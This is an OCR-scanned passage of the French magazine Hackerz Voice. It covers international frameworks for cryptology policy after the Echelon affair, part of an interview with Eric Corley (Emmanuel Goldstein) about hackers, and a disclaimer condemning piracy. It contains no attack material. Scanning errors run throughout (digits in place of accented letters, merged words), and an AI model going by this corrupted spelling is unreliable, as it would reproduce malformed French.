pour lever toute ambiguité.

Plusieurs enceintes sont susceptibles
de servir de cadre 4 ces accords.

LUnion européenne est adaptée a la
mise en placed’'une réglementation com- _
mune en matiére de cryptologie et de
protection des données, Le niveau
communautaire facilite également e dia-

logueavecle Royaume-Unidontla posi-
tion ambigué devra écre clarifiée.

Le cadre de 'OCDE ou celui du G
8, qui permettent d'associer les Etats-
Unis etleCanadadans une réflexion élar-
gie, visent tout autant i améliorer les
services nationaux en matiére d'enquétes
et de poursuites contre les nouvelles
formes de criminalité qu'a définir les
limites delasouveraineté des Etats dans
les domaines qui concernent les impé-
ratifs delibertés publiques, la protection
des droits de 'Homme et de la vie
privée ainsi que la liberté des commu-
nications.

LAlliance atlantique peut également
fournir une solution dans la mesure
olledialogueest particuliérement néces-
saire entre alliés sur une question tou-
chant des divergences entre eux.

-lerdle des pouvoirs publics dans tous
cesdomaines estessentiel carleurres-
ponsabilité consiste 4 la fois 4 pro-
poser un dispositif juridique adapté,
asensibiliser les acteurs et opérateurs,
4 certifier les produits de protection
et les systémes qui permettent d'as-
surerla sécurité, etd acquérirune com-
pétence d'expert.

Cetteaction multiple adéjacommencé
en France sous la tutelle et le contréle
interministériels du SGDN. Des moyens
nouveaux doivent lui étre accordés
afin qu'il assure sa mission de coordi-
nation et d'impulsion des services de
I'Etat chargés de la protection des sys-
témes d'information et de communi-
cation.

Ainsi, 4 'occasion d'une premiére
réflexion sur les réseaux d'intercep-
tion des communications et en parti-
culier du systéme Echelon, se dessinent
d'importantes réformes surleplan natio-
nal comme dans un cadre internatio-
nal : toutes supposent une nouvelle
approche déontologique des Etats,
qui concilie 2 la fois le respect de leurs
impératifs nationaux et I'élaboration
d'une méme démarche.

“Nous n'avens
rien a cacher”

Suite de la p 12

les institutions et le gouvernement, est-il
plus difficile de hacker maintenant ?
R/ Méme avec un systéme de sécurité adéquat il
y aura toujours de nouveaux systémes, une évo-
lution, de nouvelles failles. Les hackers sont
indispensables 4 ce processus et nous ne nous
ennuyons pas facilement.

0/ Est-ce que la possibilité de se faire traduire
en justice pose un probléme aux hackers ?
R/ Les hackers sont des criminels incompétents.
Clest pourquoiils finissent toujours par étres pour-
suivis. [y aurait des failles de sécurité méme sinous
n'existions pas, il faut donc nous concevoir
comme des messagers

Q/ Est-ce qu'on peut embaucher un hacker ?

Comment sont-ils payés ? Qui les embauche

2 Pourquoi ?
R/ De la méme fagon qu’'on peut exploiter les
capacités hackers pour accéder a une vie crimi-
nelle, on peur aussi exploiter ces capacités dans
unbutde réussite d'uneassociation etc. Maisil faut
se rappeler que la plupart du temps les hackers
ne sont que des jeunes gamins qui s'amusent a
des jeux ainsi qu'ils le font depuis toujours.

@/ Votre vrainom est Eric Corley, pourquoi étes-

vous connu sous le pseudonyme Emmanuel

Goldstein 2
R/J'ai la conviction que chacun devrait avoir I'oc-
casion de senommer soi-méme et que ce nom devrait
renvoyer i une partie de vous, i ce que vous
croyez. C'est le cas pour moi-méme et Emma-
nuel Goldstein. Pour voslecteurs qui veulent savoir
pourquoi, lisez, ou relisez,” 1984“ de George Orwell.
Et puis je vous rappelle que notre premier numé-
rode”2600" estsortien janvier 1984. Tout 4 fait for-
tuitement.

(traduit de 'américain par Sylvana Gloria)

(o ectears +)

Les informations publiées dans Hac-
kerz Voice ont un objectif purement
documentaire. Le journal rappelle a ce
titre que le piratage informatique,
sous quelque forme que ce soit, est
un délit (lire page 7). Hackerz Voice
condamne naturellement toute forme
de piratage et soutien sans ambiguité
les actions de toutes les organisations
qui luttent contre la cyber-criminalité.
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